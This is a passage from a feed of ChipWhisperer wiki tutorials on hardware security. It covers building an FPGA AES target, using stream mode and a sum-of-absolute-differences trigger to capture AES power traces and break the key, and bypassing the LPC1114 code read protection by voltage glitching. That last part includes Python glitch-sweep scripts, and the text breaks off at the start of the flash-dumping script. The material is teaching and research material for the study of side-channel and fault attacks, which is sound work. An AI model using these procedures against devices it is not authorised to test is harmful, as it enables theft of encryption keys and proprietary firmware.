* <code>cw305_top.v</code>: The top-level module defines all of the ports that are referenced in the constraints file. It connects these ports to the lower level modules. For example, the USB data and address pins are connected to a USB module here. Notably, there are two 1024 byte ports that are shared between the USB module and the register module.<br />
* <code>usb_module.v</code>: The USB module is used to communicate with the Atmel SAM3U microcontroller. It allows the Atmel to access the 1024 byte memory, reading from or writing to various locations in memory. <br />
* <code>registers.v</code>: The registers module is used to place various data into the shared memory, allowing the USB module's reads and writes to affect other modules in the code. It places this data at known, fixed offsets in the memory. For example, reading from address 0x100 allows the Atmel to recover the plaintext from an encryption.<br />
* <code>aes_core.v</code>: The AES core module is an implementation of AES from Google. This is taken from the [https://github.com/ProjectVault/orp/tree/master/hardware/mselSoC/src/systems/geophyte/rtl/verilog/crypto_aes/rtl/verilog ProjectVault repository].<br />
<br />
=== Building the Project ===<br />
This project is already fully built for us. However, if you want to make your own project, you'll need to know how to build it. There are three steps that Vivado takes to turn our Verilog into a fully functional piece of code:<br />
<br />
* ''Synthesis'': the Verilog code is synthesized into a gate-level representation<br />
* ''Implementation'': the synthesized logic is routed to fit onto the device<br />
* ''Bitstream Generation'': an Artix-ready file is created, allowing us to upload our firmware onto the FPGA<br />
<br />
This process can take a while - on an average laptop, the sample project takes around 7 minutes to build. <br />
<br />
{{Warningbox|'''Gotcha''': This project can be implemented to fit into an Artix-7A35T or an Artix-7A100T chip. Make sure that you have the correct one selected (right click -> "Make Active") before you build the project:<br />
<br />
[[File:CW305MakeActive.png]]<br />
}}<br />
<br />
== Capture Setup ==<br />
With our FPGA bitstream in hand, we're now ready to capture a power trace. We can set this up using the ChipWhisperer Capture software.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<br />
<li><p>We'll need to set up the DIP switches on the CW305. These are the four switches next to the 20-pin connector. We need to set two of them for this project:<br />
<br />
* '''J16: 0''' - use the on-board PLL to clock the FPGA<br />
* '''K16: 1''' - route the FPGA's clock to the ChipWhisperer's HS-In channel<br />
<br />
The other two switches have no effect on the clock routing, so they can be in either position.</p></li><br />
<br />
<li><p>Next, we need to set up the software. To make this process simple, there is an existing sample script that connects to the CW305 using the ChipWhisperer Lite. This script is located in <code>Project -> Example Scripts -> CW305 Artix Target w/ ChipWhisperer-Lite</code></p><br />
<br />
<p>[[File:CW305Script.png|800px]]</p><br />
<br />
<p>This script will connect to the CW305 and ChipWhisperer Lite, setting them up for a capture.</p><br />
</li><br />
<br />
<li><p><br />
The FPGA bitstream needs to be programmed onto the Artix board. There is a button called "Program FPGA" that takes a bitstream (specified the line above that button) and programs it into the FPGA.</p><br />
<br />
<p>[[File:CW305Bitstream.PNG]]</p><br />
</li><br />
<li><br />
<p>Select the bitstream file that we generated earlier (<code>chipwhisperer/hardware/victims/cw305_artixtarget/fpga/vivado_examples/aes128_verilog/aes128_verilog.runs/impl_35t/cw305_top.bit</code>) and program it onto the FPGA. If using the '''100T''' size FPGA, you will find the file in a directory labeled '''impl_100t''' instead.</p><br />
<br />
<p>NOTE: Even if you haven't completed the build portion, you can simply use the pre-built bitstream!</p><br />
</li><br />
<li><br />
<p>Now, the Capture 1 button should give us a short and sweet power trace:</p><br />
<br />
<p>[[File:CW305SampleCapture.PNG|800px]]</p><br />
<br />
<p>Success! We've built a project and recorded a power trace using the Artix target.</p><br />
</li><br />
</ol><br />
For further analysis using this project, check out the next tutorial: [[Tutorial CW305-2 Breaking AES on FPGA]].<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_P1_Stream_Mode_and_Advanced_Triggering&diff=3503Tutorial P1 Stream Mode and Advanced Triggering2018-05-01T18:51:59Z<p>Fheubach: </p>
<hr />
<div>This tutorial will explore the ChipWhisperer Pro's custom trigger and stream features. <br />
<br />
{{TOC|limit=1}}<br />
<br />
<h2>Prerequisites</h2><br />
<p><br />
<br />
This tutorial can only be completed using the [[CW1200_ChipWhisperer-Pro]]. The ChipWhisperer software and its prerequisites should be installed and the [[CW1200_ChipWhisperer-Pro]] and hardware should be connected to each other and your computer. If not, this is the page for you: [[Installing ChipWhisperer]]. This tutorial is an extension of [[Tutorial B1 Building a SimpleSerial Project]] and [[Tutorial B5 Breaking AES (Straightforward)]], which should be completed first for better understanding.<br />
</p><br />
<br />
<h2>Introduction</h2><br />
<p><br />
Unique to the [[CW1200_ChipWhisperer-Pro]]'s more advanced FPGA, the stream feature allows continuous power measurement data streaming, removing the upper limit (due to a smaller FPGA) of total samples possible. This allows to you to continuously stream data for a time period in which you can manually send data to the target to record the power response. You can later find the subsection of sample points in the streamed power trace that correspond to the encryption of data. You can now use a subsection of 128 sample points to create a custom trigger using the sum of absolute differences. This eliminates the need for the target to have code that signals the ChipWhisperer when encryption begins. The subset of points for triggering is chosen by you, so anything is possible... We will explore one possibility in this tutorial.<br />
</p><br />
<br />
<h2>Building the Target Code</h2><br />
<p><br />
We will begin by modifying the <code>simpleserial-aes.c</code> code with a editor of your choice.<br />
</p><br />
<ol><br />
<li>Navigate to the ChipWhisperer installation directory and find the <code>simpleserial-aes</code> folder, the folder is in the <code>...\chipwhisperer\hardware\victims\firmware</code> directory. The beginning of the file path may be different depending on the installation directory.<br />
</li><br />
<li><br />
Copy the <code>simpleserial-aes</code> folder into the same directory and rename it as you see fit. For example: <code>simpleserial-aes-stream</code>.<br />
</li><br />
<li><br />
Now open the <code>simpleserial-aes-stream</code> folder and rename the <code>simpleserial-aes.c</code> file to match the directory name change. For example: <code>simpleserial-aes-stream.c</code><br />
</li><br />
<li><br />
Open the <code>simpleserial-aes-stream.c</code> file in the text editor of your choice and find this section of the code near the top.<br />
<syntaxhighlight lang="c"><br />
/**********************************<br />
* Start user-specific code here. */<br />
<br />
uint8_t get_pt(uint8_t* pt)<br />
{<br />
trigger_high();<br />
aes_indep_enc(pt); /* encrypting the data block */<br />
trigger_low();<br />
simpleserial_put('r', 16, pt);<br />
return 0x00;<br />
}<br />
<br />
/* End user-specific code here. *<br />
********************************/<br />
</syntaxhighlight><br />
</li><br />
<li><br />
Modify this code by commenting out <code>trigger_high();</code> and <code>trigger_low();</code> to remove the signal produced by the target to tell the ChipWhisperer it has started the encryption process. Your c code should look like this:<br />
<syntaxhighlight lang="c"><br />
/**********************************<br />
* Start user-specific code here. */<br />
<br />
uint8_t get_pt(uint8_t* pt)<br />
{<br />
//trigger_high();<br />
aes_indep_enc(pt); /* encrypting the data block */<br />
//trigger_low();<br />
simpleserial_put('r', 16, pt);<br />
return 0x00;<br />
}<br />
<br />
/* End user-specific code here. *<br />
********************************/<br />
</syntaxhighlight><br />
</li><br />
<li><br />
Save this code, and then find the <code>makefile</code> file and open it in a text editor of your choice. Find this piece of code near the top:<br />
<pre><br />
# Target file name (without extension). <br />
# This is the base name of the compiled .hex file.<br />
TARGET = simpleserial-aes<br />
<br />
# List C source files here.<br />
# Header files (.h) are automatically pulled in.<br />
SRC += simpleserial-aes.c <br />
</pre><br />
Change the <code>TARGET = simpleserial-aes</code> line to <code>TARGET = simpleserial-aes-stream</code> and the <code>SRC += simpleserial-aes.c</code> line to <code>SRC += simpleserial-aes-stream.c</code><br />
</li><br />
<li><br />
Open your command line in the <code>simpleserial-aes-stream</code> directory and run the <code>make</code> command for the correct target. For example: for the XMEGA run <code>make PLATFORM=CW303</code>. This will create a <code>.hex</code> file in the same directory. This step requires avr-gcc to be set-up and added to your system path. If you have not done this go back to [[Installing ChipWhisperer]] page under the <b>Required Tools</b> dropdown.<br />
</li><br />
</ol><br />
<br />
<h2>Setting up Stream Mode</h2><br />
<br />
<ol><br />
<li><br />
Next open the ChipWhisperer software. Hopefully you know how to do this by now.<br />
</li><br />
<li><br />
Run the <code>Project > Example Scripts > ChipWhisperer-Lite: AES SimpleSerial on XMEGA</code> script. We will modify some of the settings.<br />
</li><br />
The modifications to the settings will allow us the use stream mode while manually sending a plain text for encryption. We will then look at the stream data and identify when the block encryption takes place and what it looks like.<br />
<li><br />
Under the <b>Scope Settings</b> find the <b>ADC Clock</b> section. Here change the <b>Source</b> setting to <code>CLKGEN x1 via DCM</code>. The <b>ADC Sample Rate</b> field should auto-populate to <b>7.3846 MS/s</b> or a number approximately equal. If the sampling rate is above 10 MS/s the streaming mode will not work as the buffer in the FPGA will overflow.<br />
<br><br />
[[File:ADC Clock.PNG]]<br />
</li><br />
<li><br />
Under the <b>Scope Settings</b> find the <b>Trigger Setup</b> section. Enable <b>Stream Mode</b>. The <b>Mode</b> field needs to be set to <code>low</code> so the sample capture starts right away because trigger line stays at low now that we have removed to code to set it high at the beginning of the encryption process.<br />
<br><br />
[[File:Trigger Setup_1.PNG]]<br />
</li><br />
<li><br />
Under the same section change the <b>Total Samples</b> field to <code>11000000</code>. This will give use a window of approximately 1.5 seconds to send a plain text and capture measurements of the power during encryption.<br />
</li><br />
Note: The <b>Timeout (secs)</b> field needs to be set greater than the time it needs to stream the samples and a little additional time to allow for hardware communication. For example: 11 million samples take about 1.5 seconds at the sampling rate of 7.3MS/s so this field should be set to <code>2</code> seconds. You can set it higher if needed.<br />
<br><br />
[[File:Trigger Setup_2.PNG]]<br />
</ol><br />
<br />
<h2>Capturing the Encryption Process</h2><br />
<br />
<ol><br />
<li><br />
Now open the terminal inside the Chipwhisperer Capture Software: <code>Tools > Terminal</code> and inside the Terminal window press <b>Connect</b>.<br />
<br><br />
[[File:terminal.PNG]]<br />
</li><br />
<li><br />
We will now send a plain text to the target for encryption to test everything is working. For example: <code>pAABBCCDDEEFF00112233445566778899</code>. The target should respond with encrypted text.<br />
<br><br />
[[File:target response.PNG]]<br />
</li><br />
<li><br />
Repeat the previous step but before you send the plain text press capture [[File:Capture One Button.PNG]] and then within 1.5 seconds send the plain text to the target for encryption. Hint: It is easier to do when you already have the plain text ready to send in the terminal and all you have to do is press send. The captured wave form should look like the following:<br />
<br><br />
[[File:Stream Capture.PNG|1000px]]<br />
</li><br />
Note: When pressing capture [[File:Capture One Button.PNG]], the ChipWhisperer automatically sends a plain text to the target. The plain text and response will show up in the terminal window but we are going to ignore this and focus on our manually sent plain text.<br />
</li><br />
Looking at the captured trace you notice that towards the end there is a series of power spikes in the sample data.<br />
<br><br />
[[File:Identifying the Encryption.PNG|800px]]<br />
</li><br />
<li><br />
Zoom into this area and take a closer look at the power measurements. The sample data should look something like this.<br />
<br><br />
[[File:Encryption Process.PNG|800px]]<br />
<br><br />
Here the <span style="color:rgb(0,0,255)>blue</span> box represent the power usage during the communication and transferring of data too and from the target. The left <span style="color:rgb(0,0,255)>blue</span> box encompasses the power measurements when the target receives the plain text and the right <span style="color:rgb(0,0,255)>blue</span> box when the target sends back the encrypted text. The <span style="color:rgb(0,180,0)>green</span> box encompasses the encryption process. <br />
</li><br />
<li><br />
Zoom into the sample points that represent the encryption process. There should be a pattern that repeats ten times, one for each round of the AES-128 encryption.<br />
<br><br />
[[File:Encryption_2.PNG|800px]]<br />
</ol><br />
<br />
<h2>Using a Power Pattern to Activate the Sum of Absolute Differences Trigger</h2><br />
<br />
We are going to use this repeating pattern to allow the [[CW1200_ChipWhisperer-Pro]] to identify when the encryption process occurs and use this to trigger our trace capture process. We can then use these traces to break the AES-128 encryption exactly the same as in [[Tutorial B5 Breaking AES (Straightforward)]].<br />
<br><br />
[[File:Trigger Choice.PNG|800px]]<br />
<br><br />
We will choose the highlighted spike and the surrounding area as our trigger as it is a unique feature that is close to the beginning of the encryption process.<br />
<ol><br />
<li><br />
Under <b>Scope Settings</b> find the <b>SAD Trigger Module</b> section. Here choose the 128 data point range that will be used as the trigger. Hint: You can type in a number that is close to the desired location and then click and drag the range selection box to the final position. The position numbers will be different from the ones in this tutorial because the numbers depend on when the plain text was manually sent. So just adjust the numbers as needed.<br />
[[File:Dragging Selection.PNG|800px]]<br />
<br><br />
</li><br />
<li><br />
When you are satisfied with the position of your trigger points press <b>Set SAD Reference from Current Trace</b> and the currently selected points will be used for the sum of absolute differences comparison carried out to activate the trigger.<br />
</li><br />
</ol><br />
Note: The Sum of Absolute Differences is carried out during the measurement process and when the total sum of absolute differences of all 128 sample points is below the threshold, the trigger is set to high to start the capture of a trace. This allows us to use a specific pattern to initiate the capture process without any other data from the target. The SAD equation is as follows:<br />
<br><br />
<math><br />
SAD <br />
= \sum_{i=1}^{128} |x_{ADC,i} - x_{pattern,i}|<br />
</math><br />
<br />
<ol start="3"><br />
<li><br />
Once you have chosen the points that initialize the trigger you can drag the selection box around and take note of the <b>SAD Reference vs. Cursor</b> value and how it changes. Notice that when the selection cursor is not in the correct spot the SAD is around 10000 or more. Choose a <b>SAD Threshold</b> that will trigger only when the selected pattern is observed. For example: 5000 should work fine (If not adjust as needed).<br />
</li><br />
<li><br />
Under <b>Scope Settings: CW Extra: CW Extra Settings</b> find the <b>Trigger Pins</b> section and set the <b>Trigger Module</b> to <code>SAD Match</code>.<br />
<br><br />
[[File:SAD Trigger.PNG]] <br />
<li><br />
Now we will navigate back to the <b>Trigger Setup</b> section under the <b>Scope Settings</b> and change the <b>Mode</b> to <code>Rising Edge</code>. The <b>Timeout (secs)</b> can be changed to <code>5</code> just to be safe, the <b>Total Samples</b> can be changed back to <code>20000</code> and the <b>Pre-Trigger Samples</b> can be changed to <code>500</code>. Note: <b>Stream Mode</b> should now be turned off.<br />
<br><br />
[[File:Final Capture Setup.PNG]]<br />
</li><br />
We now have everything setup: The SAD Reference points will cause the trigger to be set high as soon as the SAD is below the SAD Threshold of 5000. The ChipWhisperer will record a total of 20000 samples with 500 before the reference points and 19500 during and after. We can test everything is properly setup by pressing the capture one button. You should see the same repeating pattern you saw before that represents the 10 rounds of encryption process. <br />
<li><br />
Since we will be attacking the first round of the encryption process we do not need the other nine rounds. So set the <b>Total Samples</b> back to 3000. This will capture the first round and a bit of the second.<br />
<br><br />
[[File:First Round.PNG|800px]]<br />
<br><br />
<b>Right click</b> the graph widget and press <b>View All</b> (Just in case you forgot) and the wave form should look similar to this:<br />
<br><br />
[[File:First Round Zoom.PNG|800px]]<br />
</li><br />
<li><br />
Now save the project somewhere where you can open it later and press <b>Capture Many</b> [[File:Capture Many Button.PNG]] button. The default of 50 captured traces should be enough to break the encryption.<br />
</li><br />
</ol><br />
<br />
<h2>Breaking the Encryption</h2><br />
<br />
We will now use the analyzer software to break the AES-128 encryption on the target and figure out the key. This section is analogous to [[Tutorial B5 Breaking AES (Straightforward) #Analyzing the Traces|Tutorial B5 Breaking AES (Straightforward)]] section of Tutorial B5. We can also use this setup for a profiling attack similar to [[Tutorial B7 Profiling Attacks (with HW Assumption)]].<br />
<br />
<h2>Conclusion</h2><br />
<br />
In this tutorial we have learned to use two of the [[CW1200_ChipWhisperer-Pro]]'s exclusive features stream mode and SAD Trigger. The stream feature allows us the continually stream and manually send plain text to the target to observe the encryption process. Then 128 sample points that make up a unique feature of the encryption process where chosen to activate the trigger during trace capture. These two features together can be used to break the AES encryption of a device without any help from the target.<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A9_Bypassing_LPC1114_Read_Protect&diff=3502Tutorial A9 Bypassing LPC1114 Read Protect2018-05-01T18:51:35Z<p>Fheubach: </p>
<hr />
<div>This tutorial will build upon information covered in [[Tutorial A3 VCC Glitch Attacks]] and [[Tutorial A2 Introduction to Glitch Attacks (including Glitch Explorer)]] and will make extensive use of the Glitch Explorer and scripting. It is assumed that you have read and understood this material before coming here.<br />
<br />
== Background on Code Read Protect ==<br />
To help protect proprietary code from being dumped via a bootloader or a debugging interface, many microcontrollers include some mechanism that locks down the flash and prevents reads. In the case of NXP's LPC1114, this is done by reading a value from flash during the boot sequence, with different values corresponding to different levels of protection. As is shown in the figure below, there are 4 levels of read protection, with the rest of the values representing an unlocked device. This makes this a great target for glitching, as corrupting one bit from this read will unlock the device and give us full access. Since higher CRP levels are harder (or in the case of CRP level 3, "impossible") to remove, we'll be using the device in CRP level 1.<br />
<br />
{| class="wikitable"<br />
!Name<br />
!Value in FLASH<br />
!JTAG/SWD<br />
!Serial Bootloader (ISP)<br />
|-<br />
|NO_ISP<br />
|0x4E697370<br />
|enabled<br />
|disabled.<br />
|-<br />
|CRP1<br />
|0x12345678<br />
|disabled<br />
|Subset of commands only available. Read memory disabled. Sector erase and mass erase possible (which also removes CRP).<br />
|-<br />
|CRP2<br />
|0x87654321<br />
|disabled<br />
|Subset of commands only available. Read memory disabled. Mass erase only (which also removes CRP).<br />
|-<br />
|CRP3<br />
|0x43218765<br />
|disabled<br />
|disabled. Claimed impossible to recover from since no reprogramming interface.<br />
|-<br />
|INVALID<br />
|Any other Value<br />
|enabled<br />
|enabled.<br />
|}<br />
This was first published by Chris Gerlinsky at RECON Brussels. You can see his [https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017-Breaking_CRP_on_NXP_LPC_Microcontrollers_slides.pdf slides here] or [https://www.youtube.com/watch?v=98eqp4WmHoQ watch his presentation here]. It was re-created by [https://toothless.co/blog/bootloader-bypass-part1/ Dmitry Nedospasov on his blog], which has additional details and examples of how you can achieve this attack.<br />
<br />
We'll be recreating the attack with the ChipWhisperer, to show the value of this modular platform in quickly testing new attacks.<br />
<br />
== Hardware Setup ==<br />
<br />
=== ChipWhisperer-Lite (CW1173) with LPC-P1114 Development Board ===<br />
To allow the ChipWhisperer-Lite to interface with this board, we'll need to make some small modifications to the board:<br />
# Short jumper BLD_E to put the device in bootloader mode.<br />
# Solder a wire from GND to P0_3 (Second column from the left, fourth row from the bottom) to put the bootloader in UART mode.<br />
# Remove C1 and C4 from the board.<br />
# Cut the traces on 3.3V_CORE and 3.3V_IO_E.<br />
# Add a 12-ohm resistor on the 3.3V_CORE jumper.<br />
# Add an SMA connector to the board and connect Vcc to the center pin and GND to one of the outside pins (or just use a jumper instead of fancy SMA).<br />
# Add a header pin/wire to RST (First column from the left, third row from the bottom). The CW-Lite needs two connection points, as we'll be both resetting this pin and triggering off of it.<br />
<br />
The following shows the required modifications (clock for full size):<br />
<br />
[[File:A9_LPC1114_CHANGES.jpg|800px]]<br />
<br />
Next, we'll need to connect the CW-Lite to the connect pins on the dev board to pins on CW-Lite's 20 pin header:<br />
# Connect pin 1 of UEXT (Vcc) to pin 3 on the CW-Lite<br />
# Connect pin 2 of UEXT (GND) to pin 2 on the CW-Lite<br />
# Connect pin 3 of UEXT (TXD) to pin 10 on the CW-Lite<br />
# Connect pin 4 of UEXT (RXD) to pin 12 on the CW-Lite<br />
# Connect RST to pins 5 (nRST) and 14 (GPIO3) or 16 (GPIO4) on the CW-Lite<br />
# Finally, attach an SMA cable between the one you added to the board and the GLITCH connector on the CW-Lite. If you'd like instead you can also use a SMA Tee to do both measurement & glitch.<br />
<br />
[[File:A9_LPC_CWLITE_Conn.jpg.jpg|600px]]<br />
<br />
=== ChipWhisperer-Lite (CW1173) with CW308 Target Board ===<br />
Coming soon!<br />
<br />
== Communicating with the Bootloader ==<br />
Before actually glitching the bootloader, we'll need to be able to communicate with it, both to check the read protect status and to read contents of the flash once we're in. The bootloader is described in Chapter 26 of the LPC111x User Manual. [https://www.nxp.com/docs/en/user-guide/UM10398.pdf] In UART mode, the device can communicate at a variety of baud rates in 8n1. The bootloader uses flow control, but communication will work fine without it. This is the default setup for the CW Capture software.<br />
<br />
Before we can do any read operations, we'll need to properly initialize the bootloader. Note that the bootloader will echo back what is sent to it by default.<br />
# Reset the device. This can be done by pulling the RST pin low from the CW Capture, or by pressing the RESET button on the dev board/CW308.<br />
# Send a "?" to the device. It will use this to detect the baud rate. From now on, all messages should be terminated by "\r\n".<br />
# The device will send "Synchronize\r\n". <br />
# Respond with "Synchronize\r\n". The device will respond with "OK\r\n", though it will probably be "Synchronize\rOK\r\n" due to the echo.<br />
# Send the frequency of the external clock in KHz. The dev board uses a 12MHz clock, so we should respond with "12000\r\n".<br />
# The device will respond with "12000\rOK\r\n".<br />
The device is now properly setup, so you can begin sending it commands. For example, to read 4 bytes from address 0, send "R 0 4\r\n". The device will respond with an error code (0-19, with 0 representing no error). If the read was ok, the device will respond with the memory in UU-Encoded format, along with a checksum. You should now respond with "OK\r\n" to let the device know its read was alright.<br />
<br />
This read can fail for a variety of reasons, but the one we are most interested in is error 19, which is returned when the read fails due to the device being in RDP mode.<br />
<br />
=== Decoding UU Encoded Data ===<br />
[https://en.wikipedia.org/wiki/Uuencoding The UU Encoding Wikipedia page] is a good resource for UU encoding. Python includes functions for decoding UU strings to binary in the binascii module. Documentation can be found [https://docs.python.org/2/library/binascii.html here]. Note that the bootloader uses a backtick ('`') for 0 instead of a space (' '), meaning you need to replace the backticks with spaces in your UU Encoded string before decoding. Also note that the first character of a UU Encoded line is the length of the line + 32. This needs to be at the start of the line when it is passed to the decoding function. For an example, see the script at the bottom of this page.<br />
<br />
== Method 1 - ChipWhisperer Capture GUI ==<br />
<br />
=== Firmware Setup ===<br />
Since we're only attacking the bootloader, no firmware setup is required for this tutorial; however, if your device is not already in CRP mode 1, you'll need to put it into this mode.<br />
<br />
=== Software Setup ===<br />
# Connect to the ChipWhisperer Device by running the "connect_cwlite_simpleserial.py" script.<br />
# Under the Scope Settings tab, setup the CLKGEN Module to generate a 100MHz clock:<br />
## Under CLKGEN Settings, change "Desired Frequency" to 100MHz.<br />
## Under ADC Clock, change "Source" to "CLKGEN x1 via DCM". If "DCM Locked" isn't checked, click "Reset ADC DCM" until it is.<br />
# Set UART up:<br />
## Under Target IOn Pins, set "Target IO1" to "Serial RXD" and "Target IO2" to "Serial TXD".<br />
# Set the Vcc glitch up and make it trigger off an external trigger:<br />
## Under CW Extra Settings/Trigger Pins, check "HS-Glitch Out Enable (Low Power)".<br />
## Under Glitch Module, set "Glitch Trigger" to "Ext Trigger:Single-Shot".<br />
## Set "Output Mode" to "Enable Only".<br />
# Under the Target Settings tab:<br />
## Set "Version" to 1.0<br />
## Clear all of the Commands<br />
## Set "Output Format" to "$GLITCH$54". This allows the glitch explorer to see when is being sent by the bootloader and limits the response to 54 characters.<br />
# CW Capture records and stores traces by default. Since we don't need this functionality, we can speed up the glitch process by telling it not to record and display traces:<br />
## Under the Generic Settings tab, set "Trace Format" to "None".<br />
## Under the Results tab, set "Input" to "None".<br />
# Since we may have to glitch over a long period of time, instead of changing the settings after every glitch attempt, we'll instead automate this by using a script to update the necessary glitch parameters, as well as do the setup for the bootloader.<br />
<br />
=== Script Setup ===<br />
<br />
==== Initial Settings ====<br />
To make the Software Setup faster, the above settings can be set in your script. An example of this is shown in this tutorial's example script.<br />
<br />
==== Automating the Glitch ====<br />
First, create an object class to hold all of the methods that you'll be using to automate glitching. For this tutorial, we'll need access to the glitch explorer window, as well as the api:<syntaxhighlight lang="python"><br />
class LPC_glitch(object):<br />
def __init__(self, ge_window, api):<br />
self.ge_window = ge_window<br />
self.api = api<br />
</syntaxhighlight>Add 2 methods, one for setting the reset pin low, and one for setting the reset pin high. Having two methods will help make triggering off the glitch more precise:<syntaxhighlight lang="python"><br />
def rst_low(self, scope, target, project):<br />
scope.io.nrst = 'low'<br />
def rst_high(self, scope, target, project):<br />
scope.io.nrst = 'high'<br />
</syntaxhighlight>Add a method to update the glitch parameters and tell the glitch explorer window about them. In this case, we care about the repeat (will determine how wide the glitch is) and the offset of the glitch from the trigger (how long after resetting the glitch happens). The following method covers a wide range, so you'll probably want to narrow things down a bit. Glitches between 5100 and 5300 with a repeat around 10 (on the board we used, glitching at 5211 with a repeat of 10 produced a lot of successes, while another worked better at 5181/11) seem to bypass the bootloader the best:<syntaxhighlight lang="python"><br />
def update_parameters(self, scope, target, project):<br />
scope.glitch.ext_offset += 1<br />
if scope.glitch.ext_offset > 8000:<br />
scope.glitch.ext_offset = 1000<br />
scope.glitch.repeat += 1<br />
if self.ge_window:<br />
self.ge_window.add_data("Glitch Offset", scope.glitch.ext_offset)<br />
self.ge_window.add_data("Glitch Repeat", scope.glitch.repeat)<br />
</syntaxhighlight>Create a method that checks the read protect status of the device. In this case, we'll need to setup the bootloader as described earlier and try a read. We can tell if the glitch is successful based on what is returned when we try to do a read command. To get access to the CW-Lite's UART, we'll need to use the target's serial driver via target.ser.<br />
<br />
Note that the delays are used to allow time for the device to respond. If you wanted to make this communication more reliable, you could read what is sent back and check it against what you expect:<syntaxhighlight lang="python"><br />
def check_read_protect(self, scope, target, project):<br />
driver = target.ser<br />
driver.flush()<br />
driver.write("?")<br />
time.sleep(0.05)<br />
driver.write("Synchronized\r\n")<br />
time.sleep(0.05)<br />
driver.write("12000\r\n")<br />
time.sleep(0.05)<br />
driver.write("R 0 4\r\n")<br />
</syntaxhighlight>Finally, you'll need to create your class and register its methods with the aux module. In this case, we're want to update the glitch parameters before the trace is taken, set the reset pin low before we arm, set it high after we arm, and check the read protect after we do the glitch:<syntaxhighlight lang="python"><br />
glitcher = LPC_glitch(self.glitch_explorer, self.api)<br />
self.aux_list.register(glitcher.update_parameters, "before_trace")<br />
self.aux_list.register(glitcher.rst_low, "before_arm")<br />
self.aux_list.register(glitcher.rst_high, "after_arm")<br />
self.aux_list.register(glitcher.check_read_protect, "after_trace")<br />
</syntaxhighlight><br />
<br />
==== The Completed Script ====<br />
At the end, you should have something that looks like this:<syntaxhighlight lang="python"><br />
import time<br />
try:<br />
scope = self.scope<br />
target = self.target<br />
except NameError:<br />
pass<br />
<br />
# Glitcher<br />
class LPC_glitch(object):<br />
def __init__(self, ge_window, api):<br />
self.ge_window = ge_window<br />
self.api = api<br />
<br />
def update_parameters(self, scope, target, project):<br />
scope.glitch.ext_offset += 1<br />
if scope.glitch.ext_offset > 8000:<br />
scope.glitch.ext_offset = 1000<br />
scope.glitch.repeat += 1<br />
if self.ge_window:<br />
self.ge_window.add_data("Glitch Offset", scope.glitch.ext_offset)<br />
self.ge_window.add_data("Glitch Repeat", scope.glitch.repeat)<br />
<br />
def check_read_protect(self, scope, target, project):<br />
driver = target.ser<br />
driver.flush()<br />
driver.write("?")<br />
time.sleep(0.05)<br />
driver.write("Synchronized\r\n")<br />
time.sleep(0.05)<br />
driver.write("12000\r\n")<br />
time.sleep(0.05)<br />
driver.write("R 0 4\r\n")<br />
<br />
def rst_low(self, scope, target, project):<br />
scope.io.nrst = 'low'<br />
<br />
def rst_high(self, scope, target, project):<br />
scope.io.nrst = 'high'<br />
<br />
<br />
<br />
#Create and register glitcher<br />
glitcher = LPC_glitch(self.glitch_explorer, self.api)<br />
self.aux_list.register(glitcher.update_parameters, "before_trace")<br />
self.aux_list.register(glitcher.rst_low, "before_arm")<br />
self.aux_list.register(glitcher.rst_high, "after_arm")<br />
self.aux_list.register(glitcher.check_read_protect, "after_trace")<br />
<br />
#Initial Setup<br />
scope.adc.samples = 10000<br />
scope.adc.offset = 0<br />
scope.clock.adc_src = "clkgen_x1"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.glitch_lp = True # this works, but doesn't update the GUI checkbox<br />
scope.io.hs2 = None<br />
<br />
scope.glitch.width = 40<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 100000000<br />
scope.glitch.clk_src = "clkgen"<br />
scope.glitch.trigger_src = "ext_single"<br />
scope.glitch.output = "enable_only"<br />
<br />
target.baud = 38400<br />
target.key_cmd = ""<br />
target.go_cmd = ""<br />
target.output_cmd = "$GLITCH$54"<br />
<br />
<br />
self.project.setTraceFormat(None)<br />
</syntaxhighlight><br />
<br />
=== Using the Glitch Explorer ===<br />
The last thing we need to do before beginning our glitches is to setup the Glitch Explorer to detect successful glitches. Since the bootloader sends back a specific error message when read protect is enabled, we can use that to tell if our glitch was successful or not. For example, you could search the string for "\r\n19\r\n" for a normal response, and search for "\r\n0\r\n for a successful response. Setup your Acquisition Settings to run for a while, and check back for successful glitches. If you're lucky, you'll find some glitches and can start reading flash memory.<br />
<br />
=== GUI or Stand-Alone ===<br />
<br />
This tutorial is split into two parts - the GUI part (here) and a stand-alone demo. You may find the stand-alone demo more useful and easier to run on your own, and is continued before.<br />
<br />
Note that the stand-alone demo improves reliability by running the glitch with a 200 MHz CLKGEN frequency, giving you double the width and offset precision. In our testing that worked on a wider range of devices with the ChipWhisperer.<br />
<br />
== Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory ==<br />
The easiest way to fully automate the breaking/dumping process is to use ChipWhisperer entirely without the GUI. This involves making a loop running through what you would normally do in the GUI (so resetting, arming the scope, setting up the bootloader, etc). An example script that breaks the bootloader and dumps the flash memory in various formats (UU encoded, binary, and ASCII encoded) is shown below. This script is also much faster than the GUI, so it much better for breaking the bootloader as well. <br />
<br />
<syntaxhighlight lang="python"><br />
"""<br />
Script to break LPC1114 bootloader and dump flash in files<br />
<br />
For use without the CW GUI<br />
"""<br />
<br />
<br />
import sys<br />
import binascii<br />
<br />
#disable printing when glitch stuff is changed<br />
from chipwhisperer.common.utils.parameter import Parameter<br />
Parameter.printParameterPath = False<br />
<br />
<br />
import time<br />
import logging<br />
import os<br />
from collections import namedtuple<br />
import numpy as np<br />
import chipwhisperer as cw<br />
<br />
logging.basicConfig(level=logging.NOTSET)<br />
scope = cw.scope()<br />
target = cw.target(scope)<br />
#Create and register glitcher<br />
<br />
# Original attack done with 100 MHz clock - can be helpful to run this<br />
# 2x faster to get better resolution, which seems useful for glitching certain boards<br />
freq_multiplier = 2<br />
<br />
#Initial Setup<br />
scope.adc.samples = 10000<br />
scope.adc.offset = 0<br />
scope.clock.adc_src = "clkgen_x1"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.glitch_lp = True<br />
scope.io.hs2 = None<br />
<br />
scope.glitch.width = 40<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
